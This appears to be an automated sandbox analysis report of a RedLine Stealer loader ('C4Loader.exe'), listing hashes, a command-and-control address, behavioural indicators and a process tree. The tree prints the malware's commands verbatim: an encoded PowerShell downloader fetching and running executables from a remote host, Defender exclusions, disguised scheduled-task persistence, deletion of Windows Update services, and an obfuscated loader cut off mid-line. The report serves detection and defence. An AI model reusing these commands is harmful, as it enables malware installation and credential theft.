Analysis
-
max time kernel
22s -
max time network
76s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2022 02:58
Static task
static1
Behavioral task
behavioral1
Sample
C4Loader.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
C4Loader.exe
Resource
win10v2004-20220812-en
General
-
Target
C4Loader.exe
-
Size
575KB
-
MD5
f159c8d7601d866641a6d31918d62e9e
-
SHA1
2642f901f2d802e864d0a38da5095938ef143abb
-
SHA256
eab9a40c5379d460e7d5f3d11c2b766ce8674c2240110e063fecb0c651e0dd67
-
SHA512
da8ca4535c7476be5a157867cf516973fe634391be33a007f1c53afa3f8936b868edd3ce22da3e2152c14ed04660375781454ed38247d266a3136cb0f5a2f570
-
SSDEEP
12288:ufG4JSQ6SUuy5OR62Cf/tUdCEiYQIF9GPUIcMGCozutXffjqAZgR:ufG4IQ6SUuyOCEiYQg9GPUIRoyfaR
Malware Config
Extracted
redline
1
107.182.129.73:21733
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1444-175-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/3620-177-0x0000000001000000-0x000000000103E000-memory.dmp family_redline behavioral2/memory/3620-181-0x0000000001000000-0x000000000103E000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
SmartDefRun.exedescription pid process target process PID 3476 created 2724 3476 SmartDefRun.exe Explorer.EXE PID 3476 created 2724 3476 SmartDefRun.exe Explorer.EXE PID 3476 created 2724 3476 SmartDefRun.exe Explorer.EXE PID 3476 created 2724 3476 SmartDefRun.exe Explorer.EXE PID 3476 created 2724 3476 SmartDefRun.exe Explorer.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 24 4924 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
Processes:
C4Loader.exenew2.exeSysApp.exeSmartDefRun.exepid process 2932 C4Loader.exe 3620 new2.exe 3924 SysApp.exe 3476 SmartDefRun.exe -
Stops running service(s) 3 TTPs
-
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 3 IoCs
Processes:
C4Loader.exenew2.exeSmartDefRun.exedescription pid process target process PID 4308 set thread context of 3008 4308 C4Loader.exe vbc.exe PID 3620 set thread context of 1444 3620 new2.exe vbc.exe PID 3476 set thread context of 1740 3476 SmartDefRun.exe dialer.exe -
Drops file in Program Files directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1532 sc.exe 3572 sc.exe 2468 sc.exe 2768 sc.exe 4204 sc.exe 2960 sc.exe 1104 sc.exe 2512 sc.exe 1844 sc.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4544 4308 WerFault.exe C4Loader.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
Processes:
powershell.exeSmartDefRun.exepowershell.exepowershell.exeSysApp.exepowershell.exepid process 4924 powershell.exe 4924 powershell.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 4960 powershell.exe 4960 powershell.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 3392 powershell.exe 3392 powershell.exe 3392 powershell.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3924 SysApp.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 3476 SmartDefRun.exe 1884 powershell.exe 1884 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4924 powershell.exe Token: SeDebugPrivilege 4960 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeIncreaseQuotaPrivilege 3392 powershell.exe Token: SeSecurityPrivilege 3392 powershell.exe Token: SeTakeOwnershipPrivilege 3392 powershell.exe Token: SeLoadDriverPrivilege 3392 powershell.exe Token: SeSystemProfilePrivilege 3392 powershell.exe Token: SeSystemtimePrivilege 3392 powershell.exe Token: SeProfSingleProcessPrivilege 3392 powershell.exe Token: SeIncBasePriorityPrivilege 3392 powershell.exe Token: SeCreatePagefilePrivilege 3392 powershell.exe Token: SeBackupPrivilege 3392 powershell.exe Token: SeRestorePrivilege 3392 powershell.exe Token: SeShutdownPrivilege 3392 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeSystemEnvironmentPrivilege 3392 powershell.exe Token: SeRemoteShutdownPrivilege 3392 powershell.exe Token: SeUndockPrivilege 3392 powershell.exe Token: SeManageVolumePrivilege 3392 powershell.exe Token: 33 3392 powershell.exe Token: 34 3392 powershell.exe Token: 35 3392 powershell.exe Token: 36 3392 powershell.exe Token: SeIncreaseQuotaPrivilege 3392 powershell.exe Token: SeSecurityPrivilege 3392 powershell.exe Token: SeTakeOwnershipPrivilege 3392 powershell.exe Token: SeLoadDriverPrivilege 3392 powershell.exe Token: SeSystemProfilePrivilege 3392 powershell.exe Token: SeSystemtimePrivilege 3392 powershell.exe Token: SeProfSingleProcessPrivilege 3392 powershell.exe Token: SeIncBasePriorityPrivilege 3392 powershell.exe Token: SeCreatePagefilePrivilege 3392 powershell.exe Token: SeBackupPrivilege 3392 powershell.exe Token: SeRestorePrivilege 3392 powershell.exe Token: SeShutdownPrivilege 3392 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeSystemEnvironmentPrivilege 3392 powershell.exe Token: SeRemoteShutdownPrivilege 3392 powershell.exe Token: SeUndockPrivilege 3392 powershell.exe Token: SeManageVolumePrivilege 3392 powershell.exe Token: 33 3392 powershell.exe Token: 34 3392 powershell.exe Token: 35 3392 powershell.exe Token: 36 3392 powershell.exe Token: SeIncreaseQuotaPrivilege 3392 powershell.exe Token: SeSecurityPrivilege 3392 powershell.exe Token: SeTakeOwnershipPrivilege 3392 powershell.exe Token: SeLoadDriverPrivilege 3392 powershell.exe Token: SeSystemProfilePrivilege 3392 powershell.exe Token: SeSystemtimePrivilege 3392 powershell.exe Token: SeProfSingleProcessPrivilege 3392 powershell.exe Token: SeIncBasePriorityPrivilege 3392 powershell.exe Token: SeCreatePagefilePrivilege 3392 powershell.exe Token: SeBackupPrivilege 3392 powershell.exe Token: SeRestorePrivilege 3392 powershell.exe Token: SeShutdownPrivilege 3392 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeSystemEnvironmentPrivilege 3392 powershell.exe Token: SeRemoteShutdownPrivilege 3392 powershell.exe Token: SeUndockPrivilege 3392 powershell.exe Token: SeManageVolumePrivilege 3392 powershell.exe Token: 33 3392 powershell.exe Token: 34 3392 powershell.exe -
Suspicious use of WriteProcessMemory 48 IoCs
Processes:
C4Loader.exevbc.exepowershell.exenew2.execmd.exeSmartDefRun.exedescription pid process target process PID 4308 wrote to memory of 4284 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 4284 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 4284 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 3008 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 3008 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 3008 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 3008 4308 C4Loader.exe vbc.exe PID 4308 wrote to memory of 3008 4308 C4Loader.exe vbc.exe PID 3008 wrote to memory of 4924 3008 vbc.exe powershell.exe PID 3008 wrote to memory of 4924 3008 vbc.exe powershell.exe PID 3008 wrote to memory of 4924 3008 vbc.exe powershell.exe PID 4924 wrote to memory of 2932 4924 powershell.exe C4Loader.exe PID 4924 wrote to memory of 2932 4924 powershell.exe C4Loader.exe PID 4924 wrote to memory of 2932 4924 powershell.exe C4Loader.exe PID 4924 wrote to memory of 3620 4924 powershell.exe new2.exe PID 4924 wrote to memory of 3620 4924 powershell.exe new2.exe PID 4924 wrote to memory of 3620 4924 powershell.exe new2.exe PID 4924 wrote to memory of 3924 4924 powershell.exe SysApp.exe PID 4924 wrote to memory of 3924 4924 powershell.exe SysApp.exe PID 4924 wrote to memory of 3924 4924 powershell.exe SysApp.exe PID 4924 wrote to memory of 3476 4924 powershell.exe SmartDefRun.exe PID 4924 wrote to memory of 3476 4924 powershell.exe SmartDefRun.exe PID 3620 wrote to memory of 1444 3620 new2.exe vbc.exe PID 3620 wrote to memory of 1444 3620 new2.exe vbc.exe PID 3620 wrote to memory of 1444 3620 new2.exe vbc.exe PID 3620 wrote to memory of 1444 3620 new2.exe vbc.exe PID 3620 wrote to memory of 1444 3620 new2.exe vbc.exe PID 2136 wrote to memory of 2960 2136 cmd.exe sc.exe PID 2136 wrote to memory of 2960 2136 cmd.exe sc.exe PID 2136 wrote to memory of 1532 2136 cmd.exe sc.exe PID 2136 wrote to memory of 1532 2136 cmd.exe sc.exe PID 2136 wrote to memory of 1104 2136 cmd.exe sc.exe PID 2136 wrote to memory of 1104 2136 cmd.exe sc.exe PID 2136 wrote to memory of 3572 2136 cmd.exe sc.exe PID 2136 wrote to memory of 3572 2136 cmd.exe sc.exe PID 2136 wrote to memory of 2512 2136 cmd.exe sc.exe PID 2136 wrote to memory of 2512 2136 cmd.exe sc.exe PID 2136 wrote to memory of 4284 2136 cmd.exe reg.exe PID 2136 wrote to memory of 4284 2136 cmd.exe reg.exe PID 2136 wrote to memory of 1408 2136 cmd.exe reg.exe PID 2136 wrote to memory of 1408 2136 cmd.exe reg.exe PID 2136 wrote to memory of 3856 2136 cmd.exe reg.exe PID 2136 wrote to memory of 3856 2136 cmd.exe reg.exe PID 2136 wrote to memory of 4808 2136 cmd.exe reg.exe PID 2136 wrote to memory of 4808 2136 cmd.exe reg.exe PID 2136 wrote to memory of 632 2136 cmd.exe reg.exe PID 2136 wrote to memory of 632 2136 cmd.exe reg.exe PID 3476 wrote to memory of 1740 3476 SmartDefRun.exe dialer.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 2923⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4308 -ip 43081⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:fYzqdUOLUGWK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kTIpPblEvDHBgF,[Parameter(Position=1)][Type]$UhQWhhCuII)$ZJJxWhQZoaD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+'t'+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'Me'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType('My'+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+'p'+'e','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'ea'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$ZJJxWhQZoaD.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+'e'+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+'a'+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$kTIpPblEvDHBgF).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+'M'+'a'+''+[Char](110)+''+'a'+'ged');$ZJJxWhQZoaD.DefineMethod(''+'I'+''+[Char](110)+'vok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'Si'+[Char](103)+',N'+[Char](101)+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+','+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$UhQWhhCuII,$kTIpPblEvDHBgF).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+'M'+'a'+[Char](110)+'a'+'g'+''+'e'+'d');Write-Output $ZJJxWhQZoaD.CreateType();}$fvfLcmLHtiWvX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 